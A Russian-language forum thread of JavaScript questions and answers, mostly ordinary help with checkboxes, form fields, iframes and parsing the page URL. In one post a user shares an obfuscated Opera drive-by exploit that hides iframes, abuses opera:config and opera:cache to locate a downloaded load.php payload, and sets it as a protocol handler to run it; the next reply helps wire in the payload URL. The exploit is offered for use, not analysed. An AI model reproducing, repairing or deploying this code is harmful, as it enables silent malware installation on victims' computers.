[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. Vanofuture

    Vanofuture Elder - Старейшина

    Joined:
    24 Apr 2008
    Messages:
    34
    Likes Received:
    10
    Reputations:
    0
    Чекбоксу поставить onclick="checkallboxes(this)"
    Сам скрипт:
    PHP:
    function checkallboxes(obj){
    boxes=new Array('a10''a15'); // перечисляем чекбоксы
    if(obj.checked!=true){return;}
    for(
    i=0;i<boxes.length;i++){
    document[boxes[i]].checked=true;}}
     
  2. BrainDeaD

    BrainDeaD Elder - Старейшина

    Joined:
    9 Jun 2005
    Messages:
    774
    Likes Received:
    292
    Reputations:
    214
    LOL не то скопипастил. пост поправил.
    вот кстати похожее решение по сабжу klick

    ещё раз ссыла на туториал klick
     
    #1562 BrainDeaD, 27 Jun 2009
    Last edited: 27 Jun 2009
  3. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    попробуй с jquery будет проще:
    проверяешь, если нажали твой чекбокс, то:
    $("input:checkbox[name='твои_чекбоксы']").attr('checked', true);
    и все выделены
     
  4. Daned

    Daned Member

    Joined:
    9 Mar 2007
    Messages:
    24
    Likes Received:
    13
    Reputations:
    2
    Помогите плз с небольшим траблом:
    PHP:
    <html>
      <
    head>
         <
    title>text</title>
      </
    head>
      <
    body>
         <
    form name="form">
            <
    textarea name="text[id]" cols="40" rows="6"></textarea><br>
            <
    input type="button" name="knopka" value="do"
               
    onClick="document.form.text[id].value='Ok';">
         </
    form>
      </
    body>
    </
    html>
    Без приставки [id] работает нормально, с ней почему то не хочет, а нужно =/ Как правильно записать?
     
  5. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Daned,
    Code:
    document.form['text[id]'].value
    А ещё правильнее вынести обработчик из html и давать осмысленные названия в каком-то одном стиле.
     
    1 person likes this.
  6. admink1

    admink1 Member

    Joined:
    12 Jun 2009
    Messages:
    63
    Likes Received:
    21
    Reputations:
    1
    charcode где кодировать\декодировать ? подскажите сайт)
     
  7. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    есть страничка. в ней ифрейм. как прочитать значение текстового поля во фрейме?

    и еще)
    выводит в алерте содержимое а так нет:
    ругается на то что требуется обэект :)
     
  8. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    попробуй через getElement

    var a=document.getElementById('frame').innerHTML;
     
  9. Vanofuture

    Vanofuture Elder - Старейшина

    Joined:
    24 Apr 2008
    Messages:
    34
    Likes Received:
    10
    Reputations:
    0
    PHP:
    document.getElementById('ид_фрейма').document.getElementById('ид_поля').value;
    А у страницы на которой этот код стоит хост тоже 192.168.1.2?
     
  10. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    2Корвин
    не ругается но алерт выскакивает пустой

    2Vanofuture
    да
    на http://192.168.1.2/drop.php есть поле текстовое поле drop
    var a=document.getElementById('frame').document.getElementById('drop').value;
    еррор - требуется объект
     
  11. XopoIII

    XopoIII Elder - Старейшина

    Joined:
    29 Oct 2007
    Messages:
    386
    Likes Received:
    30
    Reputations:
    0
    var a=parent.frames['name_фрейма'].document.getEle mentById('drop').value;
     
  12. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Нужно определить точно хост+дира (на javascript), откуда запущен скрипт. Типа:

    Скрипт js.js запущен из папки pizda на localhost, и он выдает: http://localhost/pizda/js.js.

    Как это сдеделать? Спасибо :)
     
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    <script>
    alert(location.href);
    </script>
     
  14. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Сори, выразился не ясно... Смотри, нужно, чтобы определялся путь (без самого файла, тока путь с дирой), а в конце приписывался файл уже (отдельно), например: pipka.php... Сори, что сразу не сказал...
     
  15. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    И, если не сложно, забей результат в переменную, чтобы сразу выводить...
     
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Code:
    <script>
    // Пример:
    var reg=/http:\/\/(.*)\//;  
    var arr=reg.exec("http://baklajka.ru/krug/bossota/shanson/1.txt");  
    alert(arr[1]); 
    // Сабж:
    var reg=/http:\/\/(.*)\//;
    var file = 'test.php';
    var arr=reg.exec(location.href);  
    alert(arr[1]+'/'+file); 
    </script>
    
     
  17. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Цены тебе нет. Спс :)
     
  18. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Есть следующий сплоит под оперу:

    <script>

    var reg=/http:\/\/(.*)\//;
    var file = 'load.php';
    var arr=reg.exec(location.href);
    var url = 'http://'+arr[1]+'/'+file;

    var a = 1;
    var b = 2;

    function sum(a,b) {
    return (a + b); }

    var abc = 123;
    var bcd = 234;
    var cde = 456;

    function my(abc,bcd,cde) {
    return (cde - bcd - abc); }

    blank_iframe = document.createElement('iframe');
    blank_iframe.src = 'about:blank';
    blank_iframe.setAttribute('id', 'blank_iframe_window');
    blank_iframe.setAttribute('style', 'display:none');
    document.appendChild(blank_iframe);
    blank_iframe_window.eval
    ("co"+"n"+"fi"+"g"+"_"+"if"+"ra"+"m"+"e = d"+"ocum"+"en"+"t"+"."+"cr"+"ea"+"te"+"Ele"+"ment('iframe');\
    config_iframe.setAttribute('id', 'config_iframe_window');\
    config_iframe.src = 'opera:config';\
    document.appendChild(config_iframe);\
    app_iframe = document.createElement('script');\
    cache_iframe = document.createElement('iframe');\
    app_iframe.src = СЮДА;\
    app_iframe.onload = function ()\
    {\
    cache_iframe.src = 'opera:cache';\
    cache_iframe.onload = function ()\
    {\
    cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
    var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
    filename = cache.match(re);\
    config_iframe_window.eval\
    (\"\
    opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
    app_link = document.createElement('a');\
    app_link.setAttribute('href', 'tn3270://nothing');\
    app_link.click();\
    setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
    \");\
    };\
    document.appendChild(cache_iframe);\
    };\
    document.appendChild(app_iframe);");


    var xyz = 123;
    var xxy = 112;

    function sum(xyz,xxy) {
    return (xyz + xxy); }


    </script>


    В скрипте определяется путь до файла load.php, после чего результат должен быть вставлен в поле (переменная url), обозначенное как СЮДА, но, почему-то, вставляться не хочет... Как это сделать?
    P.S. Надо именно на javascript, не на php. В яве ноль, Pashkela, выручай ;)
     
    #1578 sNt, 1 Jul 2009
    Last edited: 1 Jul 2009
  19. m0nsieur

    m0nsieur Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    223
    Likes Received:
    69
    Reputations:
    10
    что-то я не понял смысл этого выражения - var arr=reg.exec(location.href); ....

    попробуй в начале заменить на вот это

    var tmp=location.href;
    var file = 'load.php';
    var arr = tmp.match(/http:\/\/(.*)\//);
    var url = 'http://'+arr[1]+'/'+file;

    и ниже строчку где надпись СЮДА
    app_iframe.src = url;\

    p.s. у себя попробовал, где-то дальше отваливается, но у меня фф, может на опере не будет.
     
  20. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Я так и делаю. Как ты выразился - "отваливается".
     
Thread Status:
Not open for further replies.